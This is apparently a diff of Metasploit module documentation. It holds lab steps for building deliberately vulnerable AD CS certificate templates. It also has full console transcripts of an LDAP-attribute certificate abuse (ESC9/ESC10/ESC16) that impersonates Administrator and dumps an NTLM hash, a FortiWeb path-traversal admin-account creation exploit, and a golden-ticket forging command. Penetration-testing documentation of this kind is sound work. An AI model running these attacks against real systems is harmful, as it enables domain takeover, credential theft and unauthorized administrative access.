9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
10. Click `Apply` and then `Ok`
11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC2 Vulnerable Certificate Template
1. Open up `certsrv`
2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
9. Click the `Apply` button, and then `OK`. The certificate should now be created.
10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
6. Click `Apply` and then click `OK` to issue the certificate.
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC8 Vulnerable Host
1. Follow instructions for creating an AD CS enabled server
2. Select Add Roles and Features
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
4. For each selection, accept the default for any pop-up.
5. Accept the default features and install.
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
7. Under Credentials, accept the default
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
9. In CA for CES, accept the defaults
10. In Authentication Types, accept the default integrated authentication
11. In Service account for CES, select `Use built-in application pool identity`
12. Accept default integrated authentication for CEP
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
14. Accept the remaining defaults.
The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
@@ -142,7 +142,7 @@ Optional options:
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
* `write-only` -- New tickets are requested and they are stored for reuse.
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
## Ticket management
+4
View File
@@ -597,6 +597,10 @@ NAVIGATION_CONFIG = [
},
]
},
{
path: 'Post-Mixins.md',
title: 'PostMixins'
},
{
path: 'How-to-log-in-Metasploit.md',
title: 'Logging'
@@ -54,9 +54,9 @@ retrieve deployment packages from S3.
The VPC or Virtual Private Cloud, an isolated local area network. Network access
can be made available by assigning an Internet routable IP address to a host or
routing traffic to it through an ELB (Elastic Load Balancer). In either case
security-groups are used to open access to network ranges and specific TPC/UDP
security-groups are used to open access to network ranges and specific TCP/UDP
ports. Security-groups provide much of the functionality of traditional firewalls
and can be configured by specifying a protocol, a CIDR and a port.
and can be configured by specifying a protocol, a CIDR and a port.
## How it Works
@@ -65,7 +65,7 @@ Web console or the CLI, launching a host in the Cloud requires a fair
amount of configuration; this module does its best to abstract configuration
requirements away from the user by auto detecting the VPC, subnets, creating
security groups, etc. It performs several tasks to launch a host with
a public IP address, these are as follow: 1) select a VPC, 2) select a subnet, 3)
a public IP address, these are as follows: 1) select a VPC, 2) select a subnet, 3)
create/select a security group, 4) create/select a key-pair, and 5) launch
a host.
@@ -80,7 +80,7 @@ an Internet routable IP address. The module dynamically finds which subnet to
launch the host in. It will use the first subnet it finds having the
`Auto-assign Public IP` option set, if no such subnet exists, then it will
select the first subnet having an Internet gateway. To circumvent this process,
the `SUBNET_ID` advanced option can be set.
the `SUBNET_ID` advanced option can be set.
When launching a Cloud host at least one security group is required. There are
several advanced options for creating/selecting a security group. The
@@ -88,7 +88,7 @@ several advanced options for creating/selecting a security group. The
That is, the module will create a security group unless the `SEC_GROUP_ID`
options is set. If the `SEC_GROUP_ID` option is not set, the module will attempt
to create a security group using the values specified in the `SEC_GROUP_CIDR`,
`SEC_GROUP_NAME`, and `SEC_GROUP_PORT` options as configuration.
`SEC_GROUP_NAME`, and `SEC_GROUP_PORT` options as configuration.
The `KEY_NAME` and `SSH_PUB_KEY` options are used in conjunction to select or
create a key-pair (a named SSH public key). Key-pairs are used to authenticate
@@ -113,7 +113,7 @@ use command. To run the module, only the `AccessKeyId`, `SecretAccessKey`, and
Basic Options:
* `AMI_ID`: The Amazon Machine Image (AMI) ID (region dependent)
* `RHOST`: the AWS EC2 Endpoint (ec2.us-west-2.amazonaws.com), may change this to something closer to you
* `RHOST`: The AWS EC2 Endpoint (ec2.us-west-2.amazonaws.com), may change this to something closer to you
* `Region`: The default region (us-west-2), must match endpoint
* `AccessKeyId`: AWS API access key
* `SecretAccessKey`: AWS API secret access key
@@ -129,10 +129,10 @@ Advanced Options:
* `MinCount`: Minimum number of instances to launch
* `ROLE_NAME`: The instance profile/role name
* `RPORT:` AWS EC2 Endpoint TCP Port
* `SEC_GROUP_ID`: the EC2 security group to use
* `SEC_GROUP_CIDR`: the EC2 security group network access CIDR, defaults to 0.0.0.0/0
* `SEC_GROUP_NAME`: the EC2 security group name
* `SEC_GROUP_PORT`: the EC2 security group network access port, defaults to tcp:22
* `SEC_GROUP_ID`: The EC2 security group to use
* `SEC_GROUP_CIDR`: The EC2 security group network access CIDR, defaults to 0.0.0.0/0
* `SEC_GROUP_NAME`: The EC2 security group name
* `SEC_GROUP_PORT`: The EC2 security group network access port, defaults to tcp:22
* `SUBNET_ID`: The public subnet to use
* `UserAgent`: The User-Agent header to use for all requests
* `VPC_ID`: The EC2 VPC ID
@@ -181,7 +181,7 @@ msf auxiliary(aws_launch_instances) > run
...
[*] instance i-12345678 status: ok
[*] Instance i-12345678 has IP address 54.186.158.6
[*] Auxiliary module execution completed
[*] Auxiliary module execution completed
```
When the host has passed its primary system checks, the IP address will be
@@ -12,7 +12,7 @@ Only the deprecated DIAL protocol is supported by this module. Casting via the n
## Options
**VID**
### VID
The YouTube video to be played. Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo)
@@ -0,0 +1,277 @@
## Vulnerable Application
This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
encrypted with a blank password.
To perform the LDAP attribute update, the module requires write privileges over the
target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
to handle LDAP attribute updates.
This module is capable of exploiting ESC9, ESC10, and ESC16.
### Setup
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
## Options
### LDAPUsername
The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
### LDAPPassword
The password for the `LDAPUsername` account.
### LDAPDomain
The domain of the `LDAPUsername`, e.g., `demo.local`.
### CA
The target certificate authority.
### CERT_TEMPLATE
The certificate template to issue, e.g., "User".
### TARGET_USERNAME
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
### TARGET_PASSWORD
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.
### UPDATE_LDAP_OBJECT
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
### UPDATE_LDAP_OBJECT_VALUE
The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
### ALT_UPN
An alternate UPN (User Principal Name) to set for the target user, e.g., `Administrator@domain.local`.
### ALT_SID
An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
### ALT_DNS
An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
## Verification Steps
1. Start msfconsole
1. Do: `use esc_update_ldap_object`
1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
1. Run the module
1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
## Scenarios
### ESC9 - Update userPrincipalName to Administrator
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
```
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options
Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):
Name Current Setting Required Description
---- --------------- -------- -----------
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CA kerberos-DC2-CA yes The target certificate authority
CERT_TEMPLATE User yes The certificate template
LDAPDomain kerberos.issue yes The domain to authenticate to
LDAPPassword N0tpassword! yes The password to authenticate with
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
SSL false no Enable SSL on the LDAP connection
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
Auxiliary action:
Name Description
---- -----------
REQUEST_CERT Request a certificate
View the full module info with the info, or info -d command.
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
```
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for Test2$
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
[*] 172.16.199.200:445 - Removing shadow credential
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.
The digest algorithm to use for cryptographic signing operations.
When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
## Actions
### REQUEST_CERT
@@ -11,11 +11,11 @@ This module exploits the CVE-2017-12542 for authentication bypass on HP iLO, whi
## Options
**USERNAME**
### USERNAME
The username of the new administrator account. Defaults to a random string.
**PASSWORD**
### PASSWORD
The password of the new administrator account. Defaults to a random string.
@@ -39,4 +39,4 @@ msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run
[+] Account test_user/test_password created successfully.
[*] Auxiliary module execution completed
msf auxiliary(admin/hp/hp_ilo_create_admin_account) >
```
```
@@ -0,0 +1,114 @@
## Vulnerable Application
This auxiliary module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. This vulnerability affects the
following versions:
* FortiWeb `8.0.0` through `8.0.1` (Patched in `8.0.2` and above).
* FortiWeb `7.6.0` through `7.6.4` (Patched in `7.6.5` and above).
* FortiWeb `7.4.0` through `7.4.9` (Patched in `7.4.10` and above).
* FortiWeb `7.2.0` through `7.2.11` (Patched in `7.2.12` and above).
* FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above).
## Testing
Download a suitable FortiWeb-VM image and create a new VM. When creating the VM, assign the first network interface to a
network you can target later (e.g. your external network), optionally, assign the second network interface to a private
network. Power on the VM, and login to the console with the default username `admin` and a blank password. You will be
asked to create a new admin password. Once you are at the CLI, you can assign an IP address to the management
interface (on `port1`) for your (external) network:
```
FortiWeb # config system interface
FortiWeb (interface) # edit port1
FortiWeb (port1) # set ip 192.168.86.200 255.255.255.0
FortiWeb (port1) # end
FortiWeb #
```
You should now be able to access the management interface via HTTPS, e.g. `https://192.168.86.200/login`.
## Options
### NEW_USERNAME
Username to use when creating a new admin account (Defaults to a random value).
### NEW_PASSWORD
Password to use when creating a new admin account (Defaults to a random value).
## Advanced Options
The following advanced options do not need to be changed against a target in a default configuration.
### FORTIWEB_ACCESS_PROFILE
The access profile to use for the new admin account (Defaults to `prof_admin`).
### FORTIWEB_DOMAIN
The domain to use for the new admin account (Defaults to `root`).
### FORTIWEB_DEFAULT_ADMIN_ACCOUNT
The default FortiWeb admin account name (Defaults to `admin`).
## Verification Steps
1. Start msfconsole
2. `use auxiliary/admin/http/fortinet_fortiweb_create_admin`
Configure the target:
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>` (If different from the default of 443)
5. `set SSL true` (Or set to false if targeting HTTP)
Configure the new admin account you will create. The module will supply a default random value for these.
6. `set NEW_USERNAME <NEW_ADMIN_NAME>`
7. `set NEW_PASSWORD <NEW_ADMIN_PASSWORD>`
Run the module:
8. `check`
9. `run`
Verify you can login using the new admin account you just created:
10. Browse to `https://<TARGET_IP_ADDRESS>:<TARGET_HTTP_OR_HTTPS_PORT>/login` and login using `<NEW_ADMIN_NAME>:<NEW_ADMIN_PASSWORD>`
## Scenarios
### Example 1 (Success against FortiWeb 8.0.1)
```
msf > use auxiliary/admin/http/fortinet_fortiweb_create_admin
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > set RHOST 192.168.86.202
RHOST => 192.168.86.202
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > set NEW_USERNAME pwn3d
NEW_USERNAME => pwn3d
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > set NEW_PASSWORD pwn3d
NEW_PASSWORD => pwn3d
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > check
[*] 192.168.86.202:443 - The target appears to be vulnerable.
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > run
[*] Running module against 192.168.86.202
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] New admin account successfully created: pwn3d:pwn3d
[+] Login via https://192.168.86.202:443/login
[*] Auxiliary module execution completed
```
### Example 2 (Failure against FortiWeb 8.0.2)
```
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > set RHOST 192.168.86.200
RHOST => 192.168.86.200
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > check
[*] 192.168.86.200:443 - The target is not exploitable. Received a 403 Forbidden response
msf auxiliary(admin/http/fortinet_fortiweb_create_admin) > run autocheck=false
[*] Running module against 192.168.86.200
[!] AutoCheck is disabled, proceeding with exploitation
[-] Auxiliary aborted due to failure: not-vulnerable: Target does not appear vulnerable (403 Forbidden response)
[*] Auxiliary module execution completed
```
@@ -23,7 +23,7 @@
## Options
**rport**
### rport
The default is set to `8180`, which is only default on FreeBSD. All other operating systems, and the software itself, default to `8080`.
@@ -10,11 +10,11 @@ To exploit the vulnerability, the module generates requests and sets a value for
## Options
**PATTERN1** and **PATTERN2**
### PATTERN1 and PATTERN2
These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2.
**ID**
### ID
The value for query parameter `id` of the page that the news extension is running on.
@@ -22,7 +22,7 @@ Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative pa
## Options
**PATH**
### PATH
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
@@ -298,14 +298,14 @@ host service type name content i
TGS using a previously forged golden ticket:
```
# Forge a golden ticket
# 1. Forge a golden ticket
msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
[*] Auxiliary module execution completed
# Request a silver ticket:
# 2. Request a silver ticket:
